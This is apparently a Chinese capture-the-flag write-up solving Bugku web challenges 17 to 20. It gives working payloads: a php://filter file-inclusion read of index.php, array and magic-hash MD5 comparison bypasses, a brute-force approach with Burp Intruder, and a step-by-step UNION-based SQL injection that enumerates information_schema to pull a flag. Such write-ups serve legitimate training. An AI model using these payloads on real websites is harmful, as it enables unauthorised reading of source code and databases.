Bugku CTF Web(17-) Writeup

Bugku CTF Web(17-) Writeup

0x17flag在index里

这里写图片描述
打开页面有一个链接,点击链接发现URL改变,
这里写图片描述
则可能会有文件包含漏洞。
利用php://filter伪协议,php://filter简单理解为用在对文件的读写操作上。
payload:
?file=php://filter/read=convert.base64-encode/resource=index.php
得到一串base64编码,解码后网页源码,flag就在里面。
这里写图片描述

0x18输入密码查看flag

这里写图片描述
用burp的Intruder暴破,在网上找一找五位的密码字典加载进去,看长度不一样的就是口令了。
自己找了好几个都没有暴出来。

0x19备份是个好习惯

常见Web源码泄露总结
若存在源码泄露,则尝试访问index.php.bak下载源码,
这里写图片描述
函数
strstr(str1, str2)判断str2是否是str1的子串;
substr(str, start[,length])返回字符串的一部分;
str_replace()以其他字符替换字符串中的一些字符(区分大小写)。
同时有md5验证相等,且key1不等于key2。
双写变量名,构造数组或弱类型绕过。
payload:
?kekeyy1[]=1&kekeyy2[]=2
?kekeyy1=240610708&kekeyy2=QNKCDZO

0x20成绩单

这里写图片描述
页面里有一个POST表单,测试会不会有注入漏洞
POST里
id=1'id=1'#
id=1' and 1=2#id=1' and 1=1#
前一个不回显后一个回显,那么说明存在注入。
判断字段数:有四个字段
id=1' order by 4#
判断回显位:
id=1' union select 1,2,3,4#
查数据库:出现skctf_flag
id=0' union select 1,2,3,database()#
查数据表:出现fl4g, sc
id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'#
查fl4g字段:得到记录名skctf_flag
id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#
查询数据:
id=0' union select 1,2,3,skctf_flag from fl4g# 得到flag。